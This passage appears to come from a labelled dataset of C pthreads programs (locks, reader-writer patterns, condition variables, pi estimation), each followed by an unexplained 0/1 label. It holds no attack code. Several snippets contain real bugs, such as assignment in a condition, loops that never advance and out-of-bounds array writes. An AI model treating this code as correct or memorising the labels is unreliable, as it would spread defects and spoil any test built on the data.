pthread_mutex_unlock(&m); return 0; } void *t2(void *arg) { int i; pthread_mutex_lock(&m); if (dequeue_flag) { for( i=0; i<(20); i++) { if (empty(&queue)!=(-1)) if (!dequeue(&queue)==stored_elements[i]) { ERROR: __VERIFIER_error(); } } dequeue_flag=(0); enqueue_flag=(1); } pthread_mutex_unlock(&m); return 0; } int main(void) { pthread_t id1, id2; enqueue_flag=(1); dequeue_flag=(0); init(&queue); if (!empty(&queue)==(-1)) { ERROR: __VERIFIER_error(); } pthread_mutex_init(&m, 0); pthread_create(&id1, 0, t1, &queue); pthread_create(&id2, 0, t2, &queue); pthread_join(id1, 0); pthread_join(id2, 0); return 0; }
0
#include <pthread.h> int readercount, writercount; pthread_mutex_t rdcnt, wrcnt, mutex; pthread_mutex_t r, w; struct reader_writer { long tid; double sleep_time; }; struct timeval start; void *writer(void *arg) { struct reader_writer *rw_data = (struct reader_writer*) arg; pthread_mutex_lock(&wrcnt); writercount++; if (writercount == 1) pthread_mutex_lock(&r); pthread_mutex_unlock(&wrcnt); pthread_mutex_lock(&w); usleep(rw_data->sleep_time); pthread_mutex_unlock(&w); pthread_mutex_lock(&wrcnt); writercount--; if (writercount == 0) pthread_mutex_unlock(&r); pthread_mutex_unlock(&wrcnt); pthread_exit(0); } void *reader(void *arg) { struct reader_writer *rw_data = (struct reader_writer*) arg; pthread_mutex_lock(&mutex); pthread_mutex_lock(&r); pthread_mutex_lock(&rdcnt); readercount++; if (readercount == 1) pthread_mutex_lock(&w); pthread_mutex_unlock(&rdcnt); pthread_mutex_unlock(&r); pthread_mutex_unlock(&mutex); usleep(rw_data->sleep_time); pthread_mutex_lock(&rdcnt); readercount--; if (readercount == 0) pthread_mutex_unlock(&w); pthread_mutex_unlock(&rdcnt); pthread_exit(0); } void initialize() { readercount = writercount = 0; pthread_mutex_init(&rdcnt, 0); pthread_mutex_init(&wrcnt, 0); pthread_mutex_init(&mutex, 0); pthread_mutex_init(&r, 0); pthread_mutex_init(&w, 0); gettimeofday(&start, 0); } int main (int argc, char *argv[]) { pthread_t threads[15]; struct reader_writer readers_writers[15]; initialize(); for(long t = 1; t < argc; t++) { char rw_type = argv[t][0]; readers_writers[t] = (struct reader_writer) { .tid = t, .sleep_time = isupper(rw_type) ? 1000000 * 3.3 : 1000000 * 1.3 }; switch(rw_type) { case 'w': case 'W': pthread_create(&threads[t], 0, writer, (void *) &readers_writers[t]); break; case 'r': case 'R': pthread_create(&threads[t], 0, reader, (void *) &readers_writers[t]); break; } usleep(1000000); } pthread_exit(0); }
1
#include <pthread.h> float pi_seqential = 0, pi_parallel = 0; long num_threads = 0, parallel_hits = 0; pthread_mutex_t mutex; void execute_sequential_version(void); void handle_sequential_version(void); void *run(void *); void execute_parallel_version(void); void handle_parallel_version(void); float elapsed_time_msec(struct timespec *, struct timespec *, long *, long *); void validate_thread_count(char *thread_count); int main (int argc, char *argv[]) { bool sequential_condition = (argc == 2 && (strcmp(argv[1],"-s") == 0)); bool parallel_condition = (argc == 3 && (strcmp(argv[1],"-p")) == 0); if (sequential_condition) { printf("Sequential version executing. Please wait.....\\n"); handle_sequential_version(); } else if (parallel_condition) { validate_thread_count(argv[2]); printf("Parallel version executing. Please wait.....\\n"); handle_parallel_version(); } else { printf("Usage: [%s -s] OR [%s -p <num_threads>]\\n", argv[0], argv[0], argv[0]); exit(0); } return 0; } void handle_sequential_version() { struct timespec start_time, end_time; float comp_time_total; unsigned long sec, nsec; ; if (clock_gettime(CLOCK_MONOTONIC, &(start_time)) < 0) { perror("clock_gettime( ):"); exit(1); }; execute_sequential_version(); ; if (clock_gettime(CLOCK_MONOTONIC, &(end_time)) < 0) { perror("clock_gettime( ):"); exit(1); }; comp_time_total = elapsed_time_msec(&start_time, &end_time, &sec, &nsec); } void execute_sequential_version(void) { int seq_id = 1; long i, sequential_hits = 0; double x, y; pi_seqential = 0; for (i=0; i < (100*1000*1000); i++) { x = ((double) rand_r(&seq_id)) / 32767; y = ((double) rand_r(&seq_id)) / 32767; if (x*x + y*y < 1.0) sequential_hits++; } pi_seqential = 4.0 * sequential_hits / (100*1000*1000); } void handle_parallel_version() { struct timespec start_time, end_time; float comp_time_total; unsigned long sec, nsec; ; if (clock_gettime(CLOCK_MONOTONIC, &(start_time)) < 0) { perror("clock_gettime( ):"); exit(1); }; execute_parallel_version(); ; if (clock_gettime(CLOCK_MONOTONIC, &(end_time)) < 0) { perror("clock_gettime( ):"); exit(1); }; comp_time_total = elapsed_time_msec(&start_time, &end_time, &sec, &nsec); } void execute_parallel_version() { pthread_t tid[32]; int i, myid[32]; pi_parallel = 0; pthread_mutex_init(&mutex, 0); for (i = 0; i < num_threads; i++) { myid[i] = i; pthread_create(&tid[i], 0, run, &myid[i]); } for (i = 0; i < num_threads; i++) { pthread_join(tid[i], 0); } pi_parallel = 4.0 * parallel_hits / (100*1000*1000); pthread_mutex_destroy(&mutex); } void *run(void * tid) { int myid = *((int *)tid); long start = (myid * (long)(100*1000*1000))/num_threads; long end = ((myid+1) * (long)(100*1000*1000)) /num_threads; long i, my_hits = 0; double x, y; for (i = start; i < end; i++) { x = ((double) rand_r(&myid)) / 32767; y = ((double) rand_r(&myid)) / 32767; if (x*x + y*y < 1.0) my_hits++; } pthread_mutex_lock (&mutex); parallel_hits += my_hits; pthread_mutex_unlock (&mutex); pthread_exit(0); } void validate_thread_count(char *thread_count) { num_threads = atoi(thread_count); if (num_threads <= 0 || num_threads > 32) { printf("num_threads should be in range 1 and %d(MAXTHREADS)\\n", 32); exit(0); } } float elapsed_time_msec(struct timespec *begin, struct timespec *end, long *sec, long *nsec) { if (end->tv_nsec < begin->tv_nsec) { *nsec = 1000000000 - (begin->tv_nsec - end->tv_nsec); *sec = end->tv_sec - begin->tv_sec -1; } else { *nsec = end->tv_nsec - begin->tv_nsec; *sec = end->tv_sec - begin->tv_sec; } return (float) (*sec) * 1000 + ((float) (*nsec)) / 1000000; }
0
#include <pthread.h> pthread_mutex_t amutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t got_request = PTHREAD_COND_INITIALIZER; void *threadFunc(void *arg){ char *str; str = (char*)arg; pthread_mutex_lock(&amutex); int rc = pthread_cond_wait(&got_request, &amutex); pthread_mutex_unlock(&amutex); if (rc == 0){ for (int i = 0; i < 5; i++){ usleep(1000000); printf("%s\\n", str); fflush(stdout); } } return 0; } void *threadFunc2(void *arg){ int *x; x = (int*)arg; pthread_mutex_lock(&amutex); int rc = pthread_cond_wait(&got_request, &amutex); pthread_mutex_unlock(&amutex); if (rc==0){ for (int i = *x; i < 10; i++){ usleep(1000000); printf("%d\\n", i); fflush(stdout); } } return 0; } void *threadFunc3(void *arg){ char *str; str = (char*)arg; for (int i = 0; i < 50; i++){ usleep(100000); printf("%s\\n", str); fflush(stdout); if ( i == 25){ pthread_mutex_lock(&amutex); pthread_cond_broadcast(&got_request); pthread_mutex_unlock(&amutex); } } return 0; } int main() { pthread_t pth; pthread_t pth2; pthread_t pth3; int *pth2Arg = malloc(sizeof(*pth2Arg)); *pth2Arg = 1; pthread_create(&pth,0,threadFunc,"what up playa"); pthread_create(&pth2,0,threadFunc2, pth2Arg); pthread_create(&pth3,0,threadFunc3, "hey"); pthread_join(pth3, 0); pthread_join(pth, 0); pthread_join(pth2, 0); for (int i = 0; i < 5; i++){ usleep(1000000); printf("nthn much fam hbu\\n"); fflush(stdout); } return 0; }
1
#include <pthread.h> int Graph[100][100]; int dist[100][100]; void initMatrices() { int n,m; for(n=0;n<101;n++) for(m=0;m<101;m++) { Graph[n][m]=-1; if(n==m) dist[n][m]=0; else dist[n][m] = -1; } } pthread_mutex_t mutex_lock; pthread_cond_t condition_var; int readCount=0; int arg_k,arg_N; void* thread_function(void* arg) { int j; long i = (long) arg; int k = arg_k; int N = arg_N; printf("Thread Started : i = %ld, k = %d \\n",i,k); for(j=1;j<=N;j++) { pthread_mutex_lock(&mutex_lock); printf("Mutex lock acquired by Thread i = %ld, k = %d j = %d ",i,k,j); readCount++; pthread_mutex_unlock(&mutex_lock); printf("Mutex lock released by Thread i = %ld, k = %d j = %d \\n",i,k,j); int boolean; if(dist[i][k] == -1 || dist[k][j] == -1) boolean = 0; else if(dist[i][j]==-1) boolean = 1; else boolean = (dist[i][k] + dist[k][j] < dist[i][j]); pthread_mutex_lock(&mutex_lock); printf("Mutex lock acquired by Thread i = %ld, k = %d j = %d ",i,k,j); readCount--; if(readCount==0) pthread_cond_signal(&condition_var); pthread_mutex_unlock(&mutex_lock); printf("Mutex lock released by Thread i = %ld, k = %d j = %d \\n",i,k,j); if (boolean) { pthread_mutex_lock(&mutex_lock); printf("Mutex lock acquired for writing by Thread i = %ld, k = %d j = %d ",i,k,j); while(readCount!=0) { printf(" Thread i = %ld, k = %d j = %d -> waiting for writing !\\n",i,k,j); pthread_cond_wait(&condition_var,&mutex_lock); } printf("Thread i = %ld, k = %d j = %d writing ...\\n",i,k,j); dist[i][j] = dist[i][k] + dist[k][j]; pthread_mutex_unlock(&mutex_lock); printf("Mutex lock released after writing by Thread i = %ld, k = %d j = %d \\n",i,k,j); } } pthread_exit(0); } void error(const char* str) { printf("%s\\n",str); exit(0); } void main() { initMatrices(); int N,M,i,j,k; printf("Enter Graph : \\n\\n"); printf("Enter N,M (1<=N<=100) : "); scanf("%d %d",&N,&M); if(N<=0 || M<=0) error("Please enter positive parameters !\\n"); else if(N>100) error("N should not be more than 100 !\\n"); printf("Enter %d edges as (u,v,w) pairs (1<= u,v <=%d) : \\n",M,N); for(i=0;i<M;i++) { int u,v,w; scanf("%d %d %d",&u,&v,&w); if(u<1 || u>N) error("Ui NOT within valid range : [1,N] !\\n"); else if(v<1 || v>N) error("Vi NOT within valid range : [1,N] !\\n"); else if(w<=0) error("Edge weight must be positive !\\n"); else { int p; char errStr[100]; for(p=0;Graph[u][p]!=-1;p++) if(Graph[u][p]==v){ sprintf(errStr,"Repeated edge pair (%d,%d) entered !\\n",u,v); error(errStr); } Graph[u][p]=v; for(p=0;Graph[v][p]!=-1;p++) if(Graph[v][p]==u){ sprintf(errStr,"Repeated edge pair (%d,%d) entered !\\n",v,u); error(errStr); } Graph[v][p]=u; dist[u][v] = dist[v][u] = w; } } printf("Following is the adjacency matrix : \\n"); for(i=1;i<=N;i++) { printf("\\nU = %d : ",i); for(j=0;Graph[i][j]!=-1;j++) printf("%d, ",Graph[i][j]); } printf("\\n\\nFollowing is the INITIAL dist matrix (-1 --> Infinity) : \\n"); for(i=1;i<=N;i++) { for(j=1;j<=N;j++) printf("%3d ",dist[i][j]); printf("\\n"); } pthread_t i_threads[N]; pthread_attr_t attr; pthread_mutex_init(&mutex_lock,0); pthread_cond_init(&condition_var,0); pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); for(k=1;k<=N;k++) { arg_N=N; arg_k=k; long i; for(i=0;i<N;i++) pthread_create(&i_threads[i],&attr,thread_function,(void*)i+1); for(i=0;i<N;i++) pthread_join(i_threads[i],0); } pthread_attr_destroy(&attr); pthread_mutex_destroy(&mutex_lock); pthread_cond_destroy(&condition_var); printf("\\n\\nFollowing is the FINAL dist matrix (-1 --> Infinity) : \\n"); for(i=1;i<=N;i++) { for(j=1;j<=N;j++) printf("%3d ",dist[i][j]); printf("\\n"); } pthread_exit(0); }
0
#include <pthread.h> pthread_mutex_t m; struct param{ char *frase; int numero; }; void hiloMensaje(struct param *mensa){ printf("%s %d \\n", mensa->frase, mensa->numero); } void tablas(int num){ int i=0; pthread_mutex_lock(&m); while(i<6) { printf("%d * %d = %d \\n",num,i,(i*i)); i++; } float a = 254 , b =65651,c=484515; int cont=0; while (cont<100000000 ){ a=b*c; b=(c*c*c + a)/365 ; cont++; } char str[200] = "ps -aux | grep mutex_hilos "; system(str); pthread_mutex_unlock(&m); } int main(){ system("clear"); pthread_t tid[2]; struct param parametro1 ={"I am the thread number ",1 }; struct param parametro2 ={"I am other thread, I am the ",2 }; int p1= 14; int p3 = 7; pthread_create(&(tid[0]) ,0,(void*)tablas, (void*) p1 ); pthread_create(&(tid[1]) ,0,(void*)tablas, (void*) p3 ); pthread_join(tid[0],0 ); pthread_join(tid[1], 0); return 0; }
1
#include <pthread.h> static pthread_mutex_t *lock_cs; static long *lock_count; static void SSL_pthreads_locking_callback(int mode, int type, char *file, int line) { if(mode & CRYPTO_LOCK) { pthread_mutex_lock(&(lock_cs[type])); lock_count[type]++; } else pthread_mutex_unlock(&(lock_cs[type])); } static unsigned long SSL_pthreads_thread_id(void) { return (unsigned long) pthread_self(); } static void SSL_thread_fini(void) { int x; CRYPTO_set_locking_callback(0); for(x = 0; x < CRYPTO_num_locks(); x++) pthread_mutex_destroy(&(lock_cs[x])); OPENSSL_free(lock_cs); OPENSSL_free(lock_count); } void SSL_thread_init(void) { int x; if(atexit(SSL_thread_fini)) FAT("Cannot install SSL thread finalization function."); lock_cs = (pthread_mutex_t *) OPENSSL_malloc(CRYPTO_num_locks() * sizeof(pthread_mutex_t)); lock_count = (long *) OPENSSL_malloc(CRYPTO_num_locks() * sizeof(long)); for(x = 0; x < CRYPTO_num_locks(); x++) { lock_count[x] = 0; pthread_mutex_init(&(lock_cs[x]), 0); } CRYPTO_set_id_callback((unsigned long (*)()) SSL_pthreads_thread_id); CRYPTO_set_locking_callback((void (*)()) SSL_pthreads_locking_callback); }
0
#include <pthread.h> struct thread_time_ops time_thread[50]; int nrOfTokens; pthread_mutex_t lock; char rw; double getRealTime(){ struct timeval timecheck; gettimeofday(&timecheck,0); return (double)timecheck.tv_sec *1000 + (double)timecheck.tv_usec/1000; } char* getFileName(int id){ char idc[2]; sprintf(idc,"%d",id); char *fileName=malloc(20); strcpy(fileName,"myfile"); strcat(fileName,idc); strcat(fileName, ".txt"); return fileName; } void *benchmark(void* temp){ int id=*((int*)temp); pthread_mutex_lock(&lock); time_thread[id].start_w_time=getRealTime(); pthread_mutex_unlock(&lock); char collect[nrOfTokens+1]; FILE *fp=0; char* fileName=getFileName(id); fp=fopen(fileName,"w"); if(rw='w'){ for(int i=0; i < nrOfTokens;i++){ fputs("Hello this is tokens",fp); } } else{ fgets(collect,nrOfTokens,fp); } pthread_mutex_lock(&lock); time_thread[id].end_w_time=getRealTime(); pthread_mutex_unlock(&lock); free(fileName); free(temp); fclose(fp); return 0; } int main(int argc, char **argv){ if (argc<3){ fprintf(stderr, "%s\\n","./ou3 r/w nrthreads charstoread/write" ); fprintf(stderr, "%s\\n", "Example ./ou3 r 10 1000" ); exit(-1); } pthread_mutex_init(&lock,0); if(argv[1][0] != 'r' && argv[1][0] !='w' ){ fprintf(stderr, "%s\\n","first arg should be read/write" ); exit(-1); } if(!isNumber(argv[2]) || !isNumber(argv[3])){ fprintf(stderr, "%s\\n","nrofthreads and tokens must be numbers" ); exit(-1); } rw=argv[1][0]; int nrOfThreads=atoi(argv[2]); if(nrOfThreads > 50){ fprintf(stderr, "%s\\n","Max 100 threads" ); exit(-1); } nrOfTokens=atoi(argv[3]); pthread_t threads[nrOfThreads]; for(int i=0; i < nrOfThreads;i++){ int *id=malloc(sizeof(*id)); *id=i; time_thread[i].id=i; time_thread[i].create_time=getRealTime(); pthread_create(&threads[i],0,benchmark,id); } for(int i=0; i < nrOfThreads;i++){ if(pthread_join(threads[i],0)){ fprintf(stderr, "%s\\n","Thread error"); exit(-1); } time_thread[i].end_time=getRealTime(); } fprintf(stdout,"%c Test with %d tokens and %d threads, time given in miliseconds\\n",rw,nrOfTokens,nrOfThreads ); fprintf(stdout,"ID-Responsetime-Executiontime----\\n"); double responseAvg=0; double executeAvg=0; for(int i=0; i < nrOfThreads;i++){ double response=(time_thread[i].end_time - time_thread[i].create_time); double execute=(time_thread[i].end_w_time - time_thread[i].start_w_time); responseAvg+=response; executeAvg+=execute; fprintf(stdout,"%d %.3eMS %.3e \\n", time_thread[i].id,response,execute); } double delStart=getRealTime(); for(int i=0;i < nrOfThreads;i++){ char* fileName=getFileName(i); remove(fileName); free(fileName); } double delEnd=getRealTime(); fprintf(stdout,"Average response: %.3e , execute: %.3e, Delete:%e\\n", responseAvg/nrOfThreads, executeAvg/nrOfThreads,(delEnd-delStart) ); } bool isNumber(char number[]){ for (int i = 0; i < strlen(number); i++){ if (!isdigit(number[i])) return 0; } return 1; }
1
#include <pthread.h> enum { TXCRC1, TXCRC2, TXTAIL, TXDONE, TXIDLE, TXRECV, TXPRE1, TXPRE2, TXPRE3, TXSYN1, TXSYN2, }; static uint8_t nodeid; static uint8_t group; static volatile uint8_t rxfill; static volatile int8_t rxstate; volatile uint16_t rf12_crc; volatile uint8_t rf12_buf[(RF12_MAXDATA + 5)]; pthread_mutex_t mutex; static uint16_t _crc16_update(uint16_t crc, uint8_t a) { int i; crc ^= a; for (i = 0; i < 8; ++i) { if (crc & 1) crc = (crc >> 1) ^ 0xA001; else crc = (crc >> 1); } return crc; } uint8_t rf12_initialize (uint8_t id, uint8_t band, uint8_t g) { pthread_mutex_lock (&mutex); spiinit(); nodeid = id; group = g; spitransfer(0x0000); spitransfer(0x8205); spitransfer(0xB800); sleep(3); spitransfer(0x80C7 | (band << 4)); spitransfer(0xA640); spitransfer(0xC691); spitransfer(0x94A2); spitransfer(0xC2AC); if (group != 0) { spitransfer(0xCA83); spitransfer(0xCE00 | group); } else { spitransfer(0xCA8B); spitransfer(0xCE2D); } spitransfer(0xC483); spitransfer(0x9850); spitransfer(0xCC77); spitransfer(0xE000); spitransfer(0xC800); spitransfer(0xC049); rxstate = TXIDLE; pthread_mutex_unlock (&mutex); return nodeid; } void rf12_recvStart () { pthread_mutex_lock (&mutex); rxfill = rf12_len = 0; rf12_crc = ~0; if (group != 0) rf12_crc = _crc16_update(~0, group); rxstate = TXRECV; spitransfer(0x82DD); pthread_mutex_unlock (&mutex); } uint8_t rf12_canSend() { if (rxstate == TXRECV && rxfill == 0) { spitransfer(0x820D); rxstate = TXIDLE; return 1; } return 0; } void rf12_communicate() { pthread_mutex_lock (&mutex); spitransfer(0x0000); if (rxstate == TXRECV) { uint8_t in = spitransfer(0xB000); if (rxfill == 0 && group != 0) rf12_buf[rxfill++] = group; rf12_buf[rxfill++] = in; rf12_crc = _crc16_update(rf12_crc, in); if (rxfill >= rf12_len + 5 || rxfill >= (RF12_MAXDATA + 5)) spitransfer(0x820D); } else { uint8_t out; if (rxstate < 0) { uint8_t pos = 3 + rf12_len + rxstate++; out = rf12_buf[pos]; rf12_crc = _crc16_update(rf12_crc, out); } else switch (rxstate++) { case TXSYN1: out = 0x2D; break; case TXSYN2: out = group; rxstate = - (2 + rf12_len); break; case TXCRC1: out = rf12_crc; break; case TXCRC2: out = rf12_crc >> 8; break; case TXDONE: spitransfer(0x820D); default: out = 0xAA; } spitransfer(0xB800 + out); } pthread_mutex_unlock (&mutex); } void rf12_sendStart_simple (uint8_t hdr) { pthread_mutex_lock (&mutex); rf12_hdr = hdr & RF12_HDR_DST ? hdr : (hdr & ~RF12_HDR_MASK) + (nodeid & 0x1F); rf12_crc = ~0; rf12_crc = _crc16_update(rf12_crc, group); rxstate = TXPRE1; spitransfer(0x823D); pthread_mutex_unlock (&mutex); } void rf12_sendStart (uint8_t hdr, const void* ptr, uint8_t len) { pthread_mutex_lock (&mutex); rf12_len = len; memcpy ((void*) rf12_data, ptr, len); rf12_hdr = hdr & RF12_HDR_DST ? hdr : (hdr & ~RF12_HDR_MASK) + (nodeid & 0x1F); rf12_crc = ~0; rf12_crc = _crc16_update(rf12_crc, group); rxstate = TXPRE1; spitransfer(0x823D); pthread_mutex_unlock (&mutex); } uint8_t rf12_recvDone () { if (rxstate == TXRECV && (rxfill >= rf12_len + 5 || rxfill >= (RF12_MAXDATA + 5))) { pthread_mutex_lock (&mutex); rxstate = TXIDLE; if (rf12_len > RF12_MAXDATA) rf12_crc = 1; if (!(rf12_hdr & RF12_HDR_DST) || (nodeid & 0x1F) == 31 || (rf12_hdr & RF12_HDR_MASK) == (nodeid & 0x1F)) { pthread_mutex_unlock (&mutex); return 1; } pthread_mutex_unlock (&mutex); } if (rxstate == TXIDLE) { rf12_recvStart(); } return 0; }
0
#include <pthread.h> double intervalWidth, intervalMidPoint, area = 0.0; int numberOfIntervals; pthread_mutex_t area_mutex = PTHREAD_MUTEX_INITIALIZER; int interval, iCount; double myArea = 0.0, result; void myPartOfCalc(int myID){ int myInterval; double myIntervalMidPoint; myArea = 0.0; for (myInterval = myID + 1; myInterval <= numberOfIntervals; myInterval += numberOfIntervals) { myIntervalMidPoint = ((double) myInterval - 0.5) * intervalWidth; myArea += (4.0 / (1.0 + myIntervalMidPoint * myIntervalMidPoint)); } result = myArea * intervalWidth; printf("\\n %d: MiArea: %f.", myID, myArea); pthread_mutex_lock(&area_mutex); area += result; pthread_mutex_unlock(&area_mutex); } main(int argc, char *argv[]){ pthread_t * threads; pthread_mutex_t area_mutex = PTHREAD_MUTEX_INITIALIZER; if (argc < 2) { printf(" Usage: pi n.\\n n is number of intervals.\\n"); exit(-1); } numberOfIntervals = abs(atoi(argv[1])); if (numberOfIntervals == 0) numberOfIntervals = 50; printf("\\n No. de Intervalos: %d", numberOfIntervals); threads = (pthread_t *) malloc(sizeof(pthread_t) * numberOfIntervals); intervalWidth = 1.0 / (double) numberOfIntervals; for (iCount = 0; iCount < numberOfIntervals; iCount++) pthread_create(&threads[iCount], 0, (void *(*) (void *)) myPartOfCalc, (void *) iCount); for (iCount = 0; iCount < numberOfIntervals; iCount++) pthread_join(threads[iCount], 0); printf("\\n El valor Calculado de Pi%.15f\\n", area); return 0; }
1
#include <pthread.h> struct foo *fh[29]; pthread_mutex_t hashlock = PTHREAD_MUTEX_INITIALIZER; struct foo { int f_count; pthread_mutex_t f_lock; int f_id; struct foo *f_next; }; struct foo * foo_alloc(int id) { struct foo *fp; int idx; if ((fp = malloc(sizeof(struct foo))) != 0) { fp->f_count = 1; fp->f_id = id; if (pthread_mutex_init(&fp->f_lock, 0) != 0) { free(fp); return(0); } idx = (((unsigned long)id)%29); pthread_mutex_lock(&hashlock); fp->f_next = fh[idx]; fh[idx] = fp; pthread_mutex_lock(&fp->f_lock); pthread_mutex_unlock(&hashlock); pthread_mutex_unlock(&fp->f_lock); } return(fp); } void foo_hold(struct foo *fp) { pthread_mutex_lock(&hashlock); fp->f_count++; pthread_mutex_unlock(&hashlock); } struct foo * foo_find(int id) { struct foo *fp; pthread_mutex_lock(&hashlock); for (fp = fh[(((unsigned long)id)%29)]; fp != 0; fp = fp->f_next) { if (fp->f_id == id) { fp->f_count++; break; } } pthread_mutex_unlock(&hashlock); return(fp); } void foo_rele(struct foo *fp) { struct foo *tfp; int idx; pthread_mutex_lock(&hashlock); if (--fp->f_count == 0) { idx = (((unsigned long)fp->f_id)%29); tfp = fh[idx]; if (tfp == fp) { fh[idx] = fp->f_next; } else { while (tfp->f_next != fp) tfp = tfp->f_next; tfp->f_next = fp->f_next; } pthread_mutex_unlock(&hashlock); pthread_mutex_destroy(&fp->f_lock); free(fp); } else { pthread_mutex_unlock(&hashlock); } }
0
#include <pthread.h> int arr[100]; pthread_mutex_t lock; pthread_t* tid1[10]; pthread_t* tid2[10]; pthread_t* printThread; FILE *fp; int getRandom(int, int); void* putsData(void*); void* getsData(void*); void* print(void* size); void inputArguments(int*, int*); void createProducerThreads(int, int*); void createCustomerThreads(int); void createPrintThread(int*); void interrupt(); void closeThreads(pthread_t*[]); int main() { int producersCount = 0, customersCount = 0, size = 0; int abort = 2; inputArguments(&producersCount, &customersCount); createProducerThreads(producersCount, &size); createCustomerThreads(customersCount); createPrintThread(&size); signal(abort, interrupt); int k = 0, j = 0; while(k < producersCount) { pthread_join(*tid1[k], 0); } while(j < customersCount) { pthread_join(*tid2[j], 0); } pthread_join(*printThread, 0); return 0; } void closeThreads(pthread_t* tid[]) { int i = 0; for(; i < 10; ++i) { if(tid[i] != 0) { pthread_cancel(*tid[i]); free(tid[i]); } } } void interrupt() { closeThreads(tid1); while(1) { if(arr[0] == 0) { closeThreads(tid2); pthread_cancel(*printThread); free(printThread); exit(1); } } } int getRandom(int min, int max) { int r; const unsigned int range = 1 + max - min; const unsigned int buckets = 32767 / range; const unsigned int limit = buckets * range; do { r = rand(); } while (r >= limit); return min + (r / buckets); } void* putsData(void* tmpSize) { int* size = (int*)tmpSize; _Bool tmp = 0; while(1) { int randomNumber = getRandom(1, 100); int randomTime = getRandom(0, 100); int k = 0; if(100 == *size) { tmp = 1; } if(*size <= 80) { tmp = 0; } if(0 == tmp) { pthread_mutex_lock(&lock); if(0 == arr[99]) { int i = 99; for(; i > 0; --i) { arr[i] = arr[i - 1]; } arr[0] = randomNumber; } pthread_mutex_unlock(&lock); } usleep(randomTime * 1000); } } void* getsData(void* arg) { if(access("data.txt", F_OK) != -1) { remove("data.txt"); } while(1) { int randomTime = getRandom(0, 100); pthread_mutex_lock(&lock); if(arr[0] != 0) { fp = fopen("data.txt", "a"); if(fp != 0) { fprintf(fp, "%d, ", arr[0]); fclose(fp); int i = 0; while(arr[i] != 0) { arr[i] = arr[i + 1]; ++i; if(99 == i && arr[i] != 0) { arr[i] = 0; } } arr[i] = arr[i + 1]; } else { printf("File can not create\\n"); } } pthread_mutex_unlock(&lock); usleep(randomTime * 1000); } } void* print(void* tmpSize) { int* size = (int*)tmpSize; while(1) { pthread_mutex_lock(&lock); int i = 0; while (arr[i] != 0) { ++i; } *size = i; printf("Size is: %d\\n", i); pthread_mutex_unlock(&lock); usleep(1000000); } } void inputArguments(int* producersCount, int* customersCount) { printf("Please enter producers count: "); while(1) { char* str = malloc(22); scanf("%s", str); *producersCount = atoi(str); if(*producersCount != 0 && *producersCount > 0 && *producersCount <= 10 ) { break; } printf("Produced count should be integer from 1 to 10: "); } printf("Please enter customers count: "); while(1) { char* str = malloc(22); scanf("%s", str); *customersCount = atoi(str); if(*customersCount != 0 && customersCount > 0 && *customersCount <= 10) { break; } printf("Customers count should be integer from 1 to 10: "); } } void createProducerThreads(int producersCount, int* size) { int i = 0, err; void* tmpSize = (void*)size; while(i < producersCount) { tid1[i] = (pthread_t*)malloc(sizeof(pthread_t)); pthread_t tmpThread; *tid1[i] = tmpThread; err = pthread_create(&(*tid1[i]), 0, &putsData, tmpSize); if (err != 0) { printf("\\nCan't create producer thread :[%s]", strerror(err)); } ++i; } } void createCustomerThreads(int customersCount) { int i = 0, err; while(i < customersCount) { tid2[i] = (pthread_t*)malloc(sizeof(pthread_t)); pthread_t tmpThread; *tid2[i] = tmpThread; err = pthread_create(&(*tid2[i]), 0, &getsData, 0); if (err != 0) { printf("\\nCan't create customer thread :[%s]", strerror(err)); } ++i; } } void createPrintThread(int* size) { void* tmpSize = (void*)size; printThread = (pthread_t*)malloc(sizeof(pthread_t)); pthread_t tmpThread; *printThread = tmpThread; int err = pthread_create(&(*printThread), 0, &print, tmpSize); if (err != 0) { printf("\\nCan't create print thread :[%s]", strerror(err)); } }
1
#include <pthread.h> pthread_mutex_t readlock; pthread_mutex_t writelock; int read_cnt=0; char buf[100]; void reader(void* arg) { pthread_mutex_lock(&readlock); if(++read_cnt==1) pthread_mutex_lock(&writelock); pthread_mutex_unlock(&readlock); printf("%d读者读取内容:%s\\n",pthread_self(),buf); pthread_mutex_lock(&readlock); if(--read_cnt==0) pthread_mutex_unlock(&writelock); pthread_mutex_unlock(&readlock); pthread_exit((void*)0); } void writer(void *arg) { pthread_mutex_lock(&writelock); sprintf(buf,"我是%d写者,这是我写的内容",pthread_self()); printf("%d写者写内容%s\\n",pthread_self(),buf); sleep(1); pthread_mutex_unlock(&writelock); pthread_exit((void*)0); } int main() { char buf[1000]={0}; pthread_mutex_init(&readlock,0); pthread_mutex_init(&writelock,0); pthread_t tid; pthread_create(&tid,0,(void*)writer,(void*)buf); pthread_create(&tid,0,(void*)reader,(void*)buf); pthread_create(&tid,0,(void*)reader,(void*)buf); pthread_create(&tid,0,(void*)writer,(void*)buf); pthread_create(&tid,0,(void*)reader,(void*)buf); pthread_create(&tid,0,(void*)reader,(void*)buf); pthread_create(&tid,0,(void*)writer,(void*)buf); pthread_create(&tid,0,(void*)writer,(void*)buf); pthread_create(&tid,0,(void*)reader,(void*)buf); pthread_exit((void*)pthread_self()); return 0; }
0
#include <pthread.h> pthread_cond_t condition; pthread_mutex_t mutex; int number, turn = 1, outExit = 0; void* input(void *arg) { do { if(turn) { pthread_mutex_lock(&mutex); printf("Unesite jedan ceo broj:\\n"); scanf("%d", &number); turn = 0; if(number < 0) { outExit = 1; pthread_mutex_unlock(&mutex); pthread_cond_signal(&condition); break; } pthread_mutex_unlock(&mutex); pthread_cond_signal(&condition); } } while(1); pthread_exit(0); } void* output(void* arg) { do { if(turn == 0) { pthread_mutex_lock(&mutex); while(turn != 0) { pthread_cond_wait(&condition, &mutex); } printf("Broj koji ste uneli je:%d\\n", number); turn = 1; if(outExit) { break; } pthread_mutex_unlock(&mutex); } } while(1); pthread_mutex_unlock(&mutex); pthread_exit(0); } int main(int argc, char *argv[]) { int i, rc; pthread_t threads[2]; pthread_attr_t attribute; pthread_mutex_init(&mutex, 0); pthread_cond_init(&condition, 0); pthread_attr_init(&attribute); pthread_attr_setdetachstate(&attribute, PTHREAD_CREATE_JOINABLE); rc = pthread_create(&threads[0], &attribute, input, 0); if (rc) { printf("GRESKA! Povratni kod iz pthread_create() je: %d", rc); exit(1); } rc = pthread_create(&threads[1], &attribute, output, 0); if (rc) { printf("GRESKA! Povratni kod iz pthread_create() je: %d", rc); exit(1); } for (i = 0; i < 2; i++) { rc = pthread_join(threads[i], 0); if (rc) { printf("GRESKA! Povratni kod iz pthread_join() je: %d", rc); exit(1); } } pthread_mutex_destroy(&mutex); pthread_cond_destroy(&condition); pthread_attr_destroy(&attribute); return 0; }
1
